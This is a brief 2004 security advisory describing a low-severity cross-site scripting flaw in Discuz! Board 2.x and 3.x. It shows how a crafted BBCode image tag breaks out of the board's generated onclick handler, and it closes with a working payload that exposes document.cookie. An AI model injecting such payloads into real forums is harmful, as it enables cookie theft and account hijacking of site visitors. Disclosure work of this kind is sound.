discuz.txt

`  
  
Advisory Name:Possible Cross Site Scripting in Discuz! Board  
Release Date: Feb 5,2004  
Application: Discuz! Board  
Version Affected: 2.x , 3.x  
Platform: PHP  
Severity: Low  
Discover: Cheng Peng Su(apple_soup_at_msn.com)  
Vendor URL: http://www.discuz.com/  
################################################  
Proof Of Concept:  
A thread including:  
[img]http://a.gif');(xss code);a=escape('a[/img]  
will be   
<img src="http://a.gif');(xss code);a=escape=('a" border="0" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window';}" onmouseover="if(this.resized) this.style.cursor='hand';" onclick="if(this.resized) window.open('http://site/pic.gif');(xss code);a=escape('a');">  
  
So there will be a red 'x' instead of a normal pic,if visitor click the red 'x',the code will be executed.  
I think you know why i add " ;a=escape('a " after the xss code.  
  
Exploit:  
[img]http://a.gif');alert(document.cookie);a=escape=('a[/img]  
`